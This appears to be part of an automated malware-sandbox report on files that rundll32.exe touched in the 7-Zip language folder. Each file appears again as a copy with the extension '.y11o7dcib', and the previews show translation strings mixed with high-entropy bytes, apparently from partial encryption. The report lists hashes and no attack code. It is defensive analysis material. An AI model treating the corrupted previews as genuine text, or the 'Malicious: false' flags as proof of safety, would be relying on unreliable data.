SSDEEP:	192:gNHDTSFUj8cdhFXySB42HhLEfpal6rCcNrJICypNoSQikMmFmaeOjrPNS:gNHbjVdhFi5CYfLbd1ShrmnrPg
MD5:	4469A34709DF78E3F2F1584F881B0E45
SHA1:	9F9B1BA487A984512CC57D1C58C99C4FDBD5D331
SHA-256:	3FDCD2B3C392E5A12FD1A33527DADA1A74DDDDD8749A02AE21FDF9EB091A3954
SHA-512:	787DBF39EF59C1F33E3769FA0FFF39D28F69D90FB6F0CDA90C8E630623161B40A8F5C1681F3A31DBF5A923ED7A7705F7F98D43D67322B2705CF184E4042F6CB8
Malicious:	false
Preview:	..Lt.x.......I.t.>.....C.K....}....y.......}....P...../.l..M : Jbc25..; : 2007-09-05 : Guillermo Gabrielli..; 9.07 : 2010-06-10 : Purgossu..; 2010-10-23 : S0s.&.u/..B....}P).G......C.E....}....t.......1.8..@M[...:.F.B.dated)..; 22.00 : 2023-05-13 : To.o Calo (updated and minor fixes)..;..;..;..;..0..7-Zip..Spanish..Espa.ol..401..Aceptar..Canc0m.=.2G.......6./F.}.....L.....1..(..<.T..O.....>..>......Z.... todo..No a t&odo..Parar..Volver a empezar..Se&gundo plano..P&rimer plano..&Pausa..Pausado...Est.s seguro de que deseas cancel4s.B..z........jP#.9....H..M.^..W..P.6..O..Y.-..Y..4.k8v.&uda..540..&Abrir..Abr&ir dentro..Abrir f&uera..&Ver..&Editar..Reno&mbrar..&Copiar a.....&Mover a.....&Borrar..Di&vidir archivo.{/.E.W'...M....}A$.E.....$i....K..9..T.T...M..e.-..9.....u...A.rificaci.n..Diferencia..Crear carpeta..Crear fichero..&Salir..Vincular..Flujos &alternativos..600..Seleccionar &todo..Deselecci:o.=.L%..)..jP8.A....J..R..6.8.R.0

C:\Program Files\7-Zip\Lang\et.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	7385
Entropy (8bit):	6.647162946903574
Encrypted:	false
SSDEEP:	192:3QJ2XcapZG/BfSxNpElCX8aW1RJfxXX8TJ6u9c0sBmS:3QJ2Ma3G/RSH2CFY9X+J6qc1BR
MD5:	5119AFCFFD1BA7BC02B51B401ACC226B
SHA1:	901320655A079164929A2A039E78926A055B8B78
SHA-256:	122A26EED8630A9959FAD2EEC02B5CD43950000FC6A9E71DBFAECBC95ECC5CBD
SHA-512:	A29E9FD7C0C80D751EA32523E55AB17B304743598007D40265869CE8A2DF0E6E31D2A65C5988DB4988E90947365A010AAF108775AD7968E60D80E313B3C3B922
Malicious:	false
Preview:	.2...Qd.....==)8."$.@fQ.(m<......F...A..&S.Y...WR.[......^...nnov..;..;..;..;..;..;..;..;..;..0..7-Zip..Estonian..eesti keel..401..OK..Loobu........&Jah..&Ei..&Sulge..Abi....&J.tka..440...O..ti.@..H.de^. FI...u..x@.......k\..[.1:..s.a.....@..O;.[..aanile..&Paus..Pausiks peatatud..Kas soovite kindlasti loobuda?..500..&Fail..&Redigeeri..&Vaade..&Lemmikud..&T..riistad..&Abi...L...;D....h..Of..J].!#..g.........9.."."*....?.5...K....8..imeta .mber..&Kopeeri asukohta.....&Teisalda asukohta.....Ku&stuta..T.kel&da fail......&henda failid.....Atri&buudid..Ko&mmena.....3..!.\..O~..[\...&..\|,...}...3..d.c5....8.+..AJ..s...O.lju..600..V&ali k.ik..T.hista k.ik valikud..&P..ra valik..Vali.....T.hista valik.....Vali t..bi j.rgi..T.hista t..b\|..9\.zl....@.de"."$... ..umo......k\.M..e;....\.....H..O2.W.....ksikasja&d..730..Sortimata..Lame vaade..&Kaks paani..&T..riistaribad..Ava juurkaust..Taseme v.rra .les..Kaustaajalugu.....^.;Lov...HecX .%o...<..c$o.......[..

C:\Program Files\7-Zip\Lang\et.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	7385
Entropy (8bit):	6.647162946903574
Encrypted:	false
SSDEEP:	192:3QJ2XcapZG/BfSxNpElCX8aW1RJfxXX8TJ6u9c0sBmS:3QJ2Ma3G/RSH2CFY9X+J6qc1BR
MD5:	5119AFCFFD1BA7BC02B51B401ACC226B
SHA1:	901320655A079164929A2A039E78926A055B8B78
SHA-256:	122A26EED8630A9959FAD2EEC02B5CD43950000FC6A9E71DBFAECBC95ECC5CBD
SHA-512:	A29E9FD7C0C80D751EA32523E55AB17B304743598007D40265869CE8A2DF0E6E31D2A65C5988DB4988E90947365A010AAF108775AD7968E60D80E313B3C3B922
Malicious:	false
Preview:	.2...Qd.....==)8."$.@fQ.(m<......F...A..&S.Y...WR.[......^...nnov..;..;..;..;..;..;..;..;..;..0..7-Zip..Estonian..eesti keel..401..OK..Loobu........&Jah..&Ei..&Sulge..Abi....&J.tka..440...O..ti.@..H.de^. FI...u..x@.......k\..[.1:..s.a.....@..O;.[..aanile..&Paus..Pausiks peatatud..Kas soovite kindlasti loobuda?..500..&Fail..&Redigeeri..&Vaade..&Lemmikud..&T..riistad..&Abi...L...;D....h..Of..J].!#..g.........9.."."*....?.5...K....8..imeta .mber..&Kopeeri asukohta.....&Teisalda asukohta.....Ku&stuta..T.kel&da fail......&henda failid.....Atri&buudid..Ko&mmena.....3..!.\..O~..[\...&..\|,...}...3..d.c5....8.+..AJ..s...O.lju..600..V&ali k.ik..T.hista k.ik valikud..&P..ra valik..Vali.....T.hista valik.....Vali t..bi j.rgi..T.hista t..b\|..9\.zl....@.de"."$... ..umo......k\.M..e;....\.....H..O2.W.....ksikasja&d..730..Sortimata..Lame vaade..&Kaks paani..&T..riistaribad..Ava juurkaust..Taseme v.rra .les..Kaustaajalugu.....^.;Lov...HecX .%o...<..c$o.......[..

C:\Program Files\7-Zip\Lang\eu.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	9208
Entropy (8bit):	6.482073945886304
Encrypted:	false
SSDEEP:	192:Up47ckDDTt9TQgrDSqUPwG85T1JdBBHEGswZhu4Pbg4S:AYPDDfJOPwG8RHdBBHEGZZxgb
MD5:	66A51538B3B9589048E5675EAA9023E2
SHA1:	EE47068ACD239516E2C0D893F6361E5B2A0519D9
SHA-256:	9B7065E139CFE4F0D090484B469A38786296EE6CD3C7170DC4B4C0E3EED7602E
SHA-512:	FFF64AB0E75DFBE8A6342C5D37729DA5F4D39BE8575BFCC0F38D464310E92AA5CEA3DB614C043A708E7A15ACCFBAB43C94AD5012A36A716F2600ECAF1A01CAD7
Malicious:	false
Preview:	..jE...R....}.=.B.4.44!..{..N...7SM...7..u..\oy..m....\|\|...;..;..;..;..;..;..;..;..;..0..7-Zip..Basque..Euskara..401..&Ongi..E&zeztatu........&Bai..&Ez..It&xi..&Laguntza....&Jarraitu..443..<......fA.7.]..J.>.aSusqA.L....r.m......v..K\|#...B........n..&Gainean..&Pausatu..Pausatuta..Zihur zaude ezeztatzea nahi duzula?..500..&Agiria..&Editatu..&Ikusi..&Gogokoenak..&Tresnak..&Lb......."%.c."..Y.s.fLjs0.. .......(.A..-..u..V\|7f..kQ...\|\|..ditatu..Berrize&ndatu..Kopiatu &Hona.....&Mugitu Hona.....E&zabatu..Banan&du agiria.....Nahas&tu agiriak.....Ezau&garriak..&Aipan......4D.0.1......uSu{`V.l......k%^.....G..Mhy..r........S&ortu Agiria..I&rten..Lotura..&Aldikatu Jarioak..600..Hautatu &Guztiak..Deshatutau G&uztiak..&Alderantzizkatu Hautapena..&Hautaw..P.....zI.1.$....t.\HtnqG.a.....k$A..l..u...P....zz.F.A{..kur &Handiak..Ikur Txi&kiak..&Zerrenda..&Xehetasunak..730..Ant&olatugabe..Ik&uspegi Laua..&2 Panel..&Tresnabarrak..Ireki &Erro Ad......._I.).p..D._.{[`..r.(.....&G(

C:\Program Files\7-Zip\Lang\eu.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	9208
Entropy (8bit):	6.482073945886304
Encrypted:	false
SSDEEP:	192:Up47ckDDTt9TQgrDSqUPwG85T1JdBBHEGswZhu4Pbg4S:AYPDDfJOPwG8RHdBBHEGZZxgb
MD5:	66A51538B3B9589048E5675EAA9023E2
SHA1:	EE47068ACD239516E2C0D893F6361E5B2A0519D9
SHA-256:	9B7065E139CFE4F0D090484B469A38786296EE6CD3C7170DC4B4C0E3EED7602E
SHA-512:	FFF64AB0E75DFBE8A6342C5D37729DA5F4D39BE8575BFCC0F38D464310E92AA5CEA3DB614C043A708E7A15ACCFBAB43C94AD5012A36A716F2600ECAF1A01CAD7
Malicious:	false
Preview:	..jE...R....}.=.B.4.44!..{..N...7SM...7..u..\oy..m....\|\|...;..;..;..;..;..;..;..;..;..0..7-Zip..Basque..Euskara..401..&Ongi..E&zeztatu........&Bai..&Ez..It&xi..&Laguntza....&Jarraitu..443..<......fA.7.]..J.>.aSusqA.L....r.m......v..K\|#...B........n..&Gainean..&Pausatu..Pausatuta..Zihur zaude ezeztatzea nahi duzula?..500..&Agiria..&Editatu..&Ikusi..&Gogokoenak..&Tresnak..&Lb......."%.c."..Y.s.fLjs0.. .......(.A..-..u..V\|7f..kQ...\|\|..ditatu..Berrize&ndatu..Kopiatu &Hona.....&Mugitu Hona.....E&zabatu..Banan&du agiria.....Nahas&tu agiriak.....Ezau&garriak..&Aipan......4D.0.1......uSu{`V.l......k%^.....G..Mhy..r........S&ortu Agiria..I&rten..Lotura..&Aldikatu Jarioak..600..Hautatu &Guztiak..Deshatutau G&uztiak..&Alderantzizkatu Hautapena..&Hautaw..P.....zI.1.$....t.\HtnqG.a.....k$A..l..u...P....zz.F.A{..kur &Handiak..Ikur Txi&kiak..&Zerrenda..&Xehetasunak..730..Ant&olatugabe..Ik&uspegi Laua..&2 Panel..&Tresnabarrak..Ireki &Erro Ad......._I.).p..D._.{[`..r.(.....&G(

C:\Program Files\7-Zip\Lang\ext.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	8035
Entropy (8bit):	6.633767735794888
Encrypted:	false
SSDEEP:	192:mrT0ZQWPScC2rqyAjhgz4gjwBcvPGeI0KOfqAIxuBkIQ8IU7MAS:mnAQ05PrqleeKvP7fqAIcBRQRD
MD5:	A0387FC384DAAF5B7B5C2C91AD764B8F
SHA1:	E418C52769166F1B2132DB072CEE26A4B6485642
SHA-256:	0438D744E2AE7DBB0363CCD60ADB0017A3BE3E333922210DCE213EA6A1325388
SHA-512:	C13E4D6A87E259B8D1DBC18C9A453D1894D62B63F77876B28CBE89067C4876EFAED529AA73C561D05F6AF1D63B21EB09B32F8A852231AD94715DCF5D097F8E39
Malicious:	false
Preview:	X.V.R.w....^....bKs..A..#.!]..A7.`.`#-.1(....!&..z.[>. .3....;..;..;..;..;..;..;..;..;..0..7-Zip..Extremaduran..Estreme.u..401..Acetal..Cancelal........&S...&Nu..&Fechal..Ayua....A&conti....ys...e..y.......t.....#.u.W..v#.m.,G..4K.AV.t...?..~%.2.0..u..&Primel pranu..&Paral..Parau..De siguru que quieri cancelal la operaci.n?..500..&Archivu..&Eital..&Vel..A&tihus..&Herramient....2aB..b.+....!4...k..qQmG..H6.y.+.(.4I..W.}z..P..n'.M....l..Renom&bral..&Copial a.....&Movel pa.....&Eliminal..De&sapartal ficheru.....Com&binal ficherus.....P&ropieais..Come&ntariu..Ca...y.+.....>.....%/....f)m5.#..+H.~.@!j.4W.V.Fja.P..n*.g.)...ru..&Salil..600..Selecional &t...Deselecional t...&Invertil seleci.n..Selecional.....Deselecional.....Selecional pol tipu..De...p..T....n....6Ks..Q..J[n....Ad.m.E$9.Wl.MQ.k(..+..y>.J.f...tau..&Detallis..730..Nu soportau..Vista prana..&2 panelis..Barra e herramien&tas..Abril diret.riu ra...Subil un nivel..Estoria.\.pS#R...e.....mKs.....oQ{.....w...c,

C:\Program Files\7-Zip\Lang\ext.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	8035
Entropy (8bit):	6.633767735794888
Encrypted:	false
SSDEEP:	192:mrT0ZQWPScC2rqyAjhgz4gjwBcvPGeI0KOfqAIxuBkIQ8IU7MAS:mnAQ05PrqleeKvP7fqAIcBRQRD
MD5:	A0387FC384DAAF5B7B5C2C91AD764B8F
SHA1:	E418C52769166F1B2132DB072CEE26A4B6485642
SHA-256:	0438D744E2AE7DBB0363CCD60ADB0017A3BE3E333922210DCE213EA6A1325388
SHA-512:	C13E4D6A87E259B8D1DBC18C9A453D1894D62B63F77876B28CBE89067C4876EFAED529AA73C561D05F6AF1D63B21EB09B32F8A852231AD94715DCF5D097F8E39
Malicious:	false
Preview:	X.V.R.w....^....bKs..A..#.!]..A7.`.`#-.1(....!&..z.[>. .3....;..;..;..;..;..;..;..;..;..0..7-Zip..Extremaduran..Estreme.u..401..Acetal..Cancelal........&S...&Nu..&Fechal..Ayua....A&conti....ys...e..y.......t.....#.u.W..v#.m.,G..4K.AV.t...?..~%.2.0..u..&Primel pranu..&Paral..Parau..De siguru que quieri cancelal la operaci.n?..500..&Archivu..&Eital..&Vel..A&tihus..&Herramient....2aB..b.+....!4...k..qQmG..H6.y.+.(.4I..W.}z..P..n'.M....l..Renom&bral..&Copial a.....&Movel pa.....&Eliminal..De&sapartal ficheru.....Com&binal ficherus.....P&ropieais..Come&ntariu..Ca...y.+.....>.....%/....f)m5.#..+H.~.@!j.4W.V.Fja.P..n*.g.)...ru..&Salil..600..Selecional &t...Deselecional t...&Invertil seleci.n..Selecional.....Deselecional.....Selecional pol tipu..De...p..T....n....6Ks..Q..J[n....Ad.m.E$9.Wl.MQ.k(..+..y>.J.f...tau..&Detallis..730..Nu soportau..Vista prana..&2 panelis..Barra e herramien&tas..Abril diret.riu ra...Subil un nivel..Estoria.\.pS#R...e.....mKs.....oQ{.....w...c,

C:\Program Files\7-Zip\Lang\fa.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	14110
Entropy (8bit):	6.276399045962556
Encrypted:	false
SSDEEP:	384:cOMUjtOQYm34LDc7hhFSmCHEL0dM+gNIs4:cOz/23aDsmCHEL0dMHNIs4
MD5:	865E0BC027FED1E2600E71D197D7E825
SHA1:	1AF2C4F3B1748A3EF1BE3948F3FFC24360188A5E
SHA-256:	7374E376AA9ECF170E1F1452FD3D38AA245435F1FE503CB87B9AAD5BB1F70FC7
SHA-512:	0DC69B12884987DC326099F17698BFD44C42C13A78F9C1EF1E5A2F0F0545C5E0EBB0A135AD89E65D62F9F32B7AC9AE2E279112669F6EAFCA2E545092665D50B8
Malicious:	false
Preview:	wi......n1......%....Q..?...>...g...\|.O...E..1.A..5... Vrhadi..; 9.22 : Hessam Mohamadi..; 22.00: Mohammad Ali Sohrabi..;..;..;..;..;..;..;..0..7-Zip..Farsi.........401.........=A....G....3....ye5....YL!..o.X.M...>........gj..F.....l.......440..... ... ....... ... ...................... .......... ............./.2P....{...b.J.l.yd7.\|mL0.PN.....,\|L.c.a...o..Qk....h@.lF.........500.........................................................540....@`...)Q.....#..g.t.bl.9C.".M..E.u{..l......O.o...i..8..^.."`.................................... ............. ................. ...........@u..."Q....#Enu......yf.L..L=.CO....X.....>..r.....q.F.."u<... ..... ...... .......... ......... ........... ...........&..........&......s.z.....] :......8zN4..OL>.....Zhl'..

C:\Program Files\7-Zip\Lang\fa.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	14110
Entropy (8bit):	6.276399045962556
Encrypted:	false
SSDEEP:	384:cOMUjtOQYm34LDc7hhFSmCHEL0dM+gNIs4:cOz/23aDsmCHEL0dMHNIs4
MD5:	865E0BC027FED1E2600E71D197D7E825
SHA1:	1AF2C4F3B1748A3EF1BE3948F3FFC24360188A5E
SHA-256:	7374E376AA9ECF170E1F1452FD3D38AA245435F1FE503CB87B9AAD5BB1F70FC7
SHA-512:	0DC69B12884987DC326099F17698BFD44C42C13A78F9C1EF1E5A2F0F0545C5E0EBB0A135AD89E65D62F9F32B7AC9AE2E279112669F6EAFCA2E545092665D50B8
Malicious:	false
Preview:	wi......n1......%....Q..?...>...g...\|.O...E..1.A..5... Vrhadi..; 9.22 : Hessam Mohamadi..; 22.00: Mohammad Ali Sohrabi..;..;..;..;..;..;..;..0..7-Zip..Farsi.........401.........=A....G....3....ye5....YL!..o.X.M...>........gj..F.....l.......440..... ... ....... ... ...................... .......... ............./.2P....{...b.J.l.yd7.\|mL0.PN.....,\|L.c.a...o..Qk....h@.lF.........500.........................................................540....@`...)Q.....#..g.t.bl.9C.".M..E.u{..l......O.o...i..8..^.."`.................................... ............. ................. ...........@u..."Q....#Enu......yf.L..L=.CO....X.....>..r.....q.F.."u<... ..... ...... .......... ......... ........... ...........&..........&......s.z.....] :......8zN4..OL>.....Zhl'..

C:\Program Files\7-Zip\Lang\fi.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	9345
Entropy (8bit):	6.497691358153879
Encrypted:	false
SSDEEP:	192:iP89npYTVHfIfbjXiOSizRNZKuZGMhN3BHvvoF0LkhmgGsoFsZS:v9npqwfbXXz3Mu0gZvoqIhlop
MD5:	5766D4EE00372B9279AD2B5D94C5D3B8
SHA1:	193BA818B9D2E68B25E5714DEA3FB51F90606678
SHA-256:	D04EDDABB88063594344D6D8B89649147815DBE221C296C37171F9EA41542C12
SHA-512:	184570B5EB3D25717A84DD53FEFAF691F3E7F252FF66292F2536998BF4583C1A7F8874266E1B2DC87C6BDD8F10EFBDD66F5CA606717FB8A9203F3118930A7F82
Malicious:	false
Preview:	.....w...c.....bx... -!+.}..A..w).>....ZJX%w.B..x....I.77.(?\Z.; 4.42 : Juhani Valtasalmi..; 9.35 : T.Sakkara..; 15.05 : 2015-08-07 : Lauri Kentt...; 19.00 : 2020-12-28 : Sampo Hippel.in.q...:.Gf....@..tM....:,B\=..=X.k)..l...RMX%x.S.....(.f.0).ibxZ.....&Kyll...&Ei..&Sulje..Ohje....&Jatka..440..Kyll. k&aikkiin..E&i kaikkiin..Pys.yt...Aloita uudelleen..&Tausta..&Edusta..&'~...:.(.qK......%..~ohuyT#..[E.l-........e"F.6../..V...c..g..6a..&N.yt...&Suosikit..Ty.&kalut..&Ohje..540..&Avaa..Avaa s&is.isesti..Avaa ulkoisesti..&N.yt...&Muokkaa..Nime. &uudelleen~....G......q..&)...#/68G...X.q!.fG....PW<F".L..A.J.j.1.i(..2dostoja.....&Ominaisuudet..Komme&nttti.....Laske tarkiste..Ero..Luo kansio..Luo tiedosto..&Lopeta..Linkit...Vaihtoehtoiset virr.k.....qaR.....`..bpfh.?....E.%f......K)_.....7%..K.f.e*.d..#a..Valitse.....Poista valinta.....Valitse tyypeitt.in..Poista valinta tyypeitt.in..700..Suu&ret kuvakkeet..&Pienet kuvakkeet..US...C........ 4..<(=..t!...T.........

C:\Program Files\7-Zip\Lang\fi.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	9345
Entropy (8bit):	6.497691358153879
Encrypted:	false
SSDEEP:	192:iP89npYTVHfIfbjXiOSizRNZKuZGMhN3BHvvoF0LkhmgGsoFsZS:v9npqwfbXXz3Mu0gZvoqIhlop
MD5:	5766D4EE00372B9279AD2B5D94C5D3B8
SHA1:	193BA818B9D2E68B25E5714DEA3FB51F90606678
SHA-256:	D04EDDABB88063594344D6D8B89649147815DBE221C296C37171F9EA41542C12
SHA-512:	184570B5EB3D25717A84DD53FEFAF691F3E7F252FF66292F2536998BF4583C1A7F8874266E1B2DC87C6BDD8F10EFBDD66F5CA606717FB8A9203F3118930A7F82
Malicious:	false
Preview:	.....w...c.....bx... -!+.}..A..w).>....ZJX%w.B..x....I.77.(?\Z.; 4.42 : Juhani Valtasalmi..; 9.35 : T.Sakkara..; 15.05 : 2015-08-07 : Lauri Kentt...; 19.00 : 2020-12-28 : Sampo Hippel.in.q...:.Gf....@..tM....:,B\=..=X.k)..l...RMX%x.S.....(.f.0).ibxZ.....&Kyll...&Ei..&Sulje..Ohje....&Jatka..440..Kyll. k&aikkiin..E&i kaikkiin..Pys.yt...Aloita uudelleen..&Tausta..&Edusta..&'~...:.(.qK......%..~ohuyT#..[E.l-........e"F.6../..V...c..g..6a..&N.yt...&Suosikit..Ty.&kalut..&Ohje..540..&Avaa..Avaa s&is.isesti..Avaa ulkoisesti..&N.yt...&Muokkaa..Nime. &uudelleen~....G......q..&)...#/68G...X.q!.fG....PW<F".L..A.J.j.1.i(..2dostoja.....&Ominaisuudet..Komme&nttti.....Laske tarkiste..Ero..Luo kansio..Luo tiedosto..&Lopeta..Linkit...Vaihtoehtoiset virr.k.....qaR.....`..bpfh.?....E.%f......K)_.....7%..K.f.e*.d..#a..Valitse.....Poista valinta.....Valitse tyypeitt.in..Poista valinta tyypeitt.in..700..Suu&ret kuvakkeet..&Pienet kuvakkeet..US...C........ 4..<(=..t!...T.........

C:\Program Files\7-Zip\Lang\fr.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	10224
Entropy (8bit):	6.659769316556464
Encrypted:	false
SSDEEP:	192:kSoYiCI3A34MvgJ8mUkfLxLlM+YzVIgGCqNXDDNoJ/GF3lXMkw78MvF0i+ucBIJS:xGA34MoJ8mtLNC+YzVIFCETps/03lbwU
MD5:	DAFC55B61D49EAD294D362838187AD14
SHA1:	C646E7BCC483BDCF22711B0827575D54F1EF2B02
SHA-256:	DC7FFE76882C2BBD9AFBD75B94C273FBC006107457D1511EE1E2C63CD58E08F3
SHA-512:	B321406BEC7F4BC6FDF28C94C75EC29544B8FC198B749D006AABBE15E5C873503CF0D8BF676105214FE9572879B37E41B05F3ED43E7750CD4CB0BE93C0F7603A
Malicious:	false
Preview:	^....+.N..z..!...I....}....i. ...d.7%..%$L.9%.........1..I.e Berthault..; 15.14 : Sylvain St-Amand (SSTSylvain)..;..;..;..;..;..;..;..;..0..7-Zip..French..Fran.ais..401..OK..Annuler..........."...My..j.....P...D....#d."?..2[4.....J...X.......JS.Non pour T&ous..Arr.ter..Red.marrer..&Arri.re-plan..P&remier plan..&Pause..En pause...tes-vous sur de vouloir annuler ?..50......G..:.)R!_H...P...*.h......7..2?M.>....V.[.=....=...j0..&Ouvrir..Ouvrir . l'&int.rieur..Ouvrir . l'e&xt.rieur..&Voir..&.dition..Reno&mmer..&Copier vers.....&D.placer vers......{....B..E.g..._....}.... .r..N...9...3L.XJ...V...^..v..3.&ropri.t.s..Comme&ntaire.....Somme de contr.le..Diff..Cr.er un dossier..Cr.er un fichier..&Quitter..Lien..Flux &Alternatif...>..a..x.-.W...B....2.....Ts5B.n."?..%$..[Z.....F.R....x.....lection..S.lectionner.....D.s.lectionner.....S.lectionner par Sorte..D.s.lectionner par Sorte..700..&Grandes Ic.nes..&P..g....f.[..F....=..P..m.=.i..m..ef.

C:\Program Files\7-Zip\Lang\fr.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	10224
Entropy (8bit):	6.659769316556464
Encrypted:	false
SSDEEP:	192:kSoYiCI3A34MvgJ8mUkfLxLlM+YzVIgGCqNXDDNoJ/GF3lXMkw78MvF0i+ucBIJS:xGA34MoJ8mtLNC+YzVIFCETps/03lbwU
MD5:	DAFC55B61D49EAD294D362838187AD14
SHA1:	C646E7BCC483BDCF22711B0827575D54F1EF2B02
SHA-256:	DC7FFE76882C2BBD9AFBD75B94C273FBC006107457D1511EE1E2C63CD58E08F3
SHA-512:	B321406BEC7F4BC6FDF28C94C75EC29544B8FC198B749D006AABBE15E5C873503CF0D8BF676105214FE9572879B37E41B05F3ED43E7750CD4CB0BE93C0F7603A
Malicious:	false
Preview:	^....+.N..z..!...I....}....i. ...d.7%..%$L.9%.........1..I.e Berthault..; 15.14 : Sylvain St-Amand (SSTSylvain)..;..;..;..;..;..;..;..;..0..7-Zip..French..Fran.ais..401..OK..Annuler..........."...My..j.....P...D....#d."?..2[4.....J...X.......JS.Non pour T&ous..Arr.ter..Red.marrer..&Arri.re-plan..P&remier plan..&Pause..En pause...tes-vous sur de vouloir annuler ?..50......G..:.)R!_H...P...*.h......7..2?M.>....V.[.=....=...j0..&Ouvrir..Ouvrir . l'&int.rieur..Ouvrir . l'e&xt.rieur..&Voir..&.dition..Reno&mmer..&Copier vers.....&D.placer vers......{....B..E.g..._....}.... .r..N...9...3L.XJ...V...^..v..3.&ropri.t.s..Comme&ntaire.....Somme de contr.le..Diff..Cr.er un dossier..Cr.er un fichier..&Quitter..Lien..Flux &Alternatif...>..a..x.-.W...B....2.....Ts5B.n."?..%$..[Z.....F.R....x.....lection..S.lectionner.....D.s.lectionner.....S.lectionner par Sorte..D.s.lectionner par Sorte..700..&Grandes Ic.nes..&P..g....f.[..F....=..P..m.=.i..m..ef.

C:\Program Files\7-Zip\Lang\fur.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	7831
Entropy (8bit):	6.642767655247279
Encrypted:	false
SSDEEP:	192:C2U0uAmbXn+GDO7D99Lk1JfH2R5efDr25LRMG+yNbRodzdkIcwRyS:BUhbXn1OF9LkeRyroLRMG+yFR+zaIcwT
MD5:	06E204828B266B19C6608E527E8438B7
SHA1:	6C562A70A2EB425B6213ADAA56BE40B3518F57F9
SHA-256:	722185203B871A70F8DC89BA6966DEF04CA37F32156EAF868348AE6F3BC0DAF9
SHA-512:	7FF7A3FBAC0F7822A21BFFD0C92732E8E4FF27B53B9C91AE5C56B5F3F153E5C0DE21191CB0E8E75E60DE17F599F14B6382C3B414FC4381688D2E773D089093A3
Malicious:	false
Preview:	[r.(....N....XD.39...Z...Tq../r%.Zi..4`..2........_>0...Q...,.l'ortografie ufici.l de Provincie di Udin..;..;..;..;..;..;..;..;..;..;..0..7-Zip..Friulian..Furlan..401..Va ben..Scancele.......5.Z....# .Q.jj.\....3..>A.kc...k..My......SR.1q..W..... a &ducj..Ferme..Torne a invi...&Sfont..P&rin plan..&Pause..In pause..S.stu sig.r di vol. scancel.?..500..&File..&Modifiche..E..'.L.F..~g.njB......+,..j@(.%....q..)~......Svby#.>...5. dentri 7-&Zip..V&iar. f.r di 7-Zip..&Mostre..M&odifiche..Gambie &non..&Copie in.....M.&f in.....&Elimine..&Div.t file.......}."..\....jk.nk...w......jG./\...3j...U.%...Vr0...Y..1.control....Cree cartele..Cree file..V&a f.r..600..Selezione d&ut..&Deselezione dut..&Invert.s selezion..Selezione.....Deselezi..=..N..L.)W.cl.+h........3..KV8.Di...k..0........7.'...>...6.s &grandis..Iconis &pi.ulis..&Liste..&Detais..730..Cence ordin..Viodude plane..&2 panei..Sbaris dai impresc&j..Viar. cartele p..p..$.$..L..m.n8......7...9..G~..Pa

C:\Program Files\7-Zip\Lang\fur.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	7831
Entropy (8bit):	6.642767655247279
Encrypted:	false
SSDEEP:	192:C2U0uAmbXn+GDO7D99Lk1JfH2R5efDr25LRMG+yNbRodzdkIcwRyS:BUhbXn1OF9LkeRyroLRMG+yFR+zaIcwT
MD5:	06E204828B266B19C6608E527E8438B7
SHA1:	6C562A70A2EB425B6213ADAA56BE40B3518F57F9
SHA-256:	722185203B871A70F8DC89BA6966DEF04CA37F32156EAF868348AE6F3BC0DAF9
SHA-512:	7FF7A3FBAC0F7822A21BFFD0C92732E8E4FF27B53B9C91AE5C56B5F3F153E5C0DE21191CB0E8E75E60DE17F599F14B6382C3B414FC4381688D2E773D089093A3
Malicious:	false
Preview:	[r.(....N....XD.39...Z...Tq../r%.Zi..4`..2........_>0...Q...,.l'ortografie ufici.l de Provincie di Udin..;..;..;..;..;..;..;..;..;..;..0..7-Zip..Friulian..Furlan..401..Va ben..Scancele.......5.Z....# .Q.jj.\....3..>A.kc...k..My......SR.1q..W..... a &ducj..Ferme..Torne a invi...&Sfont..P&rin plan..&Pause..In pause..S.stu sig.r di vol. scancel.?..500..&File..&Modifiche..E..'.L.F..~g.njB......+,..j@(.%....q..)~......Svby#.>...5. dentri 7-&Zip..V&iar. f.r di 7-Zip..&Mostre..M&odifiche..Gambie &non..&Copie in.....M.&f in.....&Elimine..&Div.t file.......}."..\....jk.nk...w......jG./\...3j...U.%...Vr0...Y..1.control....Cree cartele..Cree file..V&a f.r..600..Selezione d&ut..&Deselezione dut..&Invert.s selezion..Selezione.....Deselezi..=..N..L.)W.cl.+h........3..KV8.Di...k..0........7.'...>...6.s &grandis..Iconis &pi.ulis..&Liste..&Detais..730..Cence ordin..Viodude plane..&2 panei..Sbaris dai impresc&j..Viar. cartele p..p..$.$..L..m.n8......7...9..G~..Pa

C:\Program Files\7-Zip\Lang\fy.txt

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	6747
Entropy (8bit):	6.573325490689703
Encrypted:	false
SSDEEP:	192:ZtIjFFa++irN/+VFX5NBYJKygiVoQQjrTW/7iLER1S:ZCNmVFXmAygWje6/P6
MD5:	03A1F1A382A06EF29041178ED1002A1F
SHA1:	E8D00FCC2BCDABE1BC4A9E2B7D0C8672D3AAA2CC
SHA-256:	F8C1CAA9641E5EBC0C77C70B9D0809E4A989A1170FE2D9433CB72DA0CBDD84A4
SHA-512:	98C1324C090E4FE26AAF88F6A9D47C6DCA8FCF96DDE67E45ED279BCA3C87B16769EA31B647C954870947DB52718A78C9B75145BF9AE8DBA572CF62F6B01EE978
Malicious:	false
